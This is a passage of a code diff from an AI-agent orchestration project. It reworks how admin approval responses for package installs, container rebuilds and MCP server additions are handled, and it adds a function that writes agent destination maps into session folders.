rebuildChannelType = adminMGs2[0].channel_type;
|
||||
rebuildPlatformId = adminMGs2[0].platform_id;
|
||||
}
|
||||
}
|
||||
|
||||
if (!rebuildChannelType || !rebuildPlatformId) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, requestId, 'error', {
|
||||
error: 'No admin channel found for approval',
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
const rebuildApprovalId = `appr-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
|
||||
createPendingApproval({
|
||||
approval_id: rebuildApprovalId,
|
||||
session_id: session.id,
|
||||
request_id: requestId,
|
||||
action: 'request_rebuild',
|
||||
payload: JSON.stringify({ reason }),
|
||||
created_at: new Date().toISOString(),
|
||||
});
|
||||
|
||||
if (deliveryAdapter) {
|
||||
await deliveryAdapter.deliver(
|
||||
rebuildChannelType,
|
||||
rebuildPlatformId,
|
||||
null,
|
||||
'chat-sdk',
|
||||
JSON.stringify({
|
||||
type: 'ask_question',
|
||||
questionId: rebuildApprovalId,
|
||||
question: `Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`,
|
||||
options: ['Approve', 'Reject'],
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
log.info('Container rebuild approval requested', { approvalId: rebuildApprovalId, agentGroup: agentGroup.name });
|
||||
const reason = (content.reason as string) || '';
|
||||
await requestApproval(
|
||||
session,
|
||||
agentGroup.name,
|
||||
'request_rebuild',
|
||||
{ reason },
|
||||
`Agent "${agentGroup.name}" requests a container rebuild.${reason ? `\nReason: ${reason}` : ''}`,
|
||||
);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
110
src/index.ts
110
src/index.ts
@@ -22,8 +22,8 @@ import {
|
||||
getSession,
|
||||
} from './db/sessions.js';
|
||||
import { getAgentGroup, updateAgentGroup } from './db/agent-groups.js';
|
||||
import { writeSessionMessage, writeSystemResponse } from './session-manager.js';
|
||||
import { wakeContainer, buildAgentGroupImage } from './container-runner.js';
|
||||
import { writeSessionMessage } from './session-manager.js';
|
||||
import { wakeContainer, buildAgentGroupImage, killContainer } from './container-runner.js';
|
||||
import { log } from './log.js';
|
||||
|
||||
// Channel barrel — each enabled channel self-registers on import.
|
||||
@@ -177,7 +177,12 @@ async function handleQuestionResponse(questionId: string, selectedOption: string
|
||||
await wakeContainer(session);
|
||||
}
|
||||
|
||||
/** Handle an admin's response to an approval card. */
|
||||
/**
|
||||
* Handle an admin's response to an approval card.
|
||||
* Fire-and-forget model: the agent doesn't poll for this — we write a chat
|
||||
* notification to its session DB, and optionally kill the container so the
|
||||
* next wake picks up new config/images.
|
||||
*/
|
||||
async function handleApprovalResponse(
|
||||
approval: import('./types.js').PendingApproval,
|
||||
selectedOption: string,
|
||||
@@ -189,52 +194,69 @@ async function handleApprovalResponse(
|
||||
return;
|
||||
}
|
||||
|
||||
if (selectedOption === 'Approve') {
|
||||
const payload = JSON.parse(approval.payload);
|
||||
|
||||
if (approval.action === 'install_packages') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
|
||||
if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] };
|
||||
if (payload.apt) containerConfig.packages.apt.push(...payload.apt);
|
||||
if (payload.npm) containerConfig.packages.npm.push(...payload.npm);
|
||||
|
||||
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
|
||||
|
||||
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', {
|
||||
message: 'Packages approved. Run request_rebuild to apply.',
|
||||
approved: { apt: payload.apt, npm: payload.npm },
|
||||
});
|
||||
|
||||
log.info('Package install approved', { approvalId: approval.approval_id, userId });
|
||||
} else if (approval.action === 'request_rebuild') {
|
||||
try {
|
||||
await buildAgentGroupImage(session.agent_group_id);
|
||||
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'success', {
|
||||
message: 'Container image rebuilt. Changes will take effect on next container start.',
|
||||
});
|
||||
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
|
||||
} catch (e) {
|
||||
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', {
|
||||
error: `Rebuild failed: ${e instanceof Error ? e.message : String(e)}`,
|
||||
});
|
||||
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Rejected
|
||||
writeSystemResponse(session.agent_group_id, session.id, approval.request_id, 'error', {
|
||||
error: `Request rejected by admin (${userId})`,
|
||||
const notify = (text: string): void => {
|
||||
writeSessionMessage(session.agent_group_id, session.id, {
|
||||
id: `appr-note-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
|
||||
kind: 'chat',
|
||||
timestamp: new Date().toISOString(),
|
||||
platformId: session.agent_group_id,
|
||||
channelType: 'agent',
|
||||
threadId: null,
|
||||
content: JSON.stringify({ text, sender: 'system', senderId: 'system' }),
|
||||
});
|
||||
};
|
||||
|
||||
if (selectedOption !== 'Approve') {
|
||||
notify(`Your ${approval.action} request was rejected by admin.`);
|
||||
log.info('Approval rejected', { approvalId: approval.approval_id, action: approval.action, userId });
|
||||
deletePendingApproval(approval.approval_id);
|
||||
await wakeContainer(session);
|
||||
return;
|
||||
}
|
||||
|
||||
const payload = JSON.parse(approval.payload);
|
||||
|
||||
if (approval.action === 'install_packages') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
|
||||
if (!containerConfig.packages) containerConfig.packages = { apt: [], npm: [] };
|
||||
if (payload.apt) containerConfig.packages.apt.push(...payload.apt);
|
||||
if (payload.npm) containerConfig.packages.npm.push(...payload.npm);
|
||||
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
|
||||
|
||||
const pkgs = [...(payload.apt || []), ...(payload.npm || [])].join(', ');
|
||||
notify(`Packages approved (${pkgs}). Call request_rebuild to apply them.`);
|
||||
log.info('Package install approved', { approvalId: approval.approval_id, userId });
|
||||
} else if (approval.action === 'request_rebuild') {
|
||||
try {
|
||||
await buildAgentGroupImage(session.agent_group_id);
|
||||
// Kill the container so the next wake uses the new image
|
||||
killContainer(session.id, 'rebuild applied');
|
||||
notify('Container image rebuilt. Your container will restart with the new image on the next message.');
|
||||
log.info('Container rebuild approved and completed', { approvalId: approval.approval_id, userId });
|
||||
} catch (e) {
|
||||
notify(`Rebuild failed: ${e instanceof Error ? e.message : String(e)}`);
|
||||
log.error('Container rebuild failed', { approvalId: approval.approval_id, err: e });
|
||||
}
|
||||
} else if (approval.action === 'add_mcp_server') {
|
||||
const agentGroup = getAgentGroup(session.agent_group_id);
|
||||
const containerConfig = agentGroup?.container_config ? JSON.parse(agentGroup.container_config) : {};
|
||||
if (!containerConfig.mcpServers) containerConfig.mcpServers = {};
|
||||
containerConfig.mcpServers[payload.name] = {
|
||||
command: payload.command,
|
||||
args: payload.args || [],
|
||||
env: payload.env || {},
|
||||
};
|
||||
updateAgentGroup(session.agent_group_id, { container_config: JSON.stringify(containerConfig) });
|
||||
|
||||
// Kill the container so next wake loads the new MCP server config
|
||||
killContainer(session.id, 'mcp server added');
|
||||
notify(`MCP server "${payload.name}" added. Your container will restart with it on the next message.`);
|
||||
log.info('MCP server add approved', { approvalId: approval.approval_id, userId });
|
||||
}
|
||||
|
||||
deletePendingApproval(approval.approval_id);
|
||||
|
||||
// Wake container so the agent's polling MCP tool picks up the response
|
||||
if (session) {
|
||||
await wakeContainer(session);
|
||||
}
|
||||
await wakeContainer(session);
|
||||
}
|
||||
|
||||
/** Graceful shutdown. */
|
||||
|
||||
@@ -11,6 +11,9 @@ import fs from 'fs';
|
||||
import path from 'path';
|
||||
|
||||
import { DATA_DIR } from './config.js';
|
||||
import { getAgentGroup } from './db/agent-groups.js';
|
||||
import { getDestinations } from './db/agent-destinations.js';
|
||||
import { getMessagingGroup } from './db/messaging-groups.js';
|
||||
import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js';
|
||||
import { log } from './log.js';
|
||||
import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js';
|
||||
@@ -128,6 +131,46 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Write the destination map file into the session folder.
|
||||
* Called before every container wake so admin changes take effect on next start.
|
||||
* The container loads this at startup to know what destinations exist.
|
||||
*/
|
||||
export function writeDestinationsFile(agentGroupId: string, sessionId: string): void {
|
||||
const dir = sessionDir(agentGroupId, sessionId);
|
||||
if (!fs.existsSync(dir)) return;
|
||||
|
||||
const rows = getDestinations(agentGroupId);
|
||||
const destinations: Array<Record<string, unknown>> = [];
|
||||
|
||||
for (const row of rows) {
|
||||
if (row.target_type === 'channel') {
|
||||
const mg = getMessagingGroup(row.target_id);
|
||||
if (!mg) continue;
|
||||
destinations.push({
|
||||
name: row.local_name,
|
||||
displayName: mg.name ?? row.local_name,
|
||||
type: 'channel',
|
||||
channelType: mg.channel_type,
|
||||
platformId: mg.platform_id,
|
||||
});
|
||||
} else if (row.target_type === 'agent') {
|
||||
const ag = getAgentGroup(row.target_id);
|
||||
if (!ag) continue;
|
||||
destinations.push({
|
||||
name: row.local_name,
|
||||
displayName: ag.name,
|
||||
type: 'agent',
|
||||
agentGroupId: ag.id,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
const filePath = path.join(dir, '.nanoclaw-destinations.json');
|
||||
fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2));
|
||||
log.debug('Destination map written', { sessionId, count: destinations.length });
|
||||
}
|
||||
|
||||
/** Write a message to a session's inbound DB (messages_in). Host-only. */
|
||||
export function writeSessionMessage(
|
||||
agentGroupId: string,
|
||||
|
||||
10
src/types.ts
10
src/types.ts
@@ -99,3 +99,13 @@ export interface PendingApproval {
|
||||
payload: string; // JSON
|
||||
created_at: string;
|
||||
}
|
||||
|
||||
// ── Agent destinations (central DB) ──
|
||||
|
||||
export interface AgentDestination {
|
||||
agent_group_id: string;
|
||||
local_name: string;
|
||||
target_type: 'channel' | 'agent';
|
||||
target_id: string;
|
||||
created_at: string;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user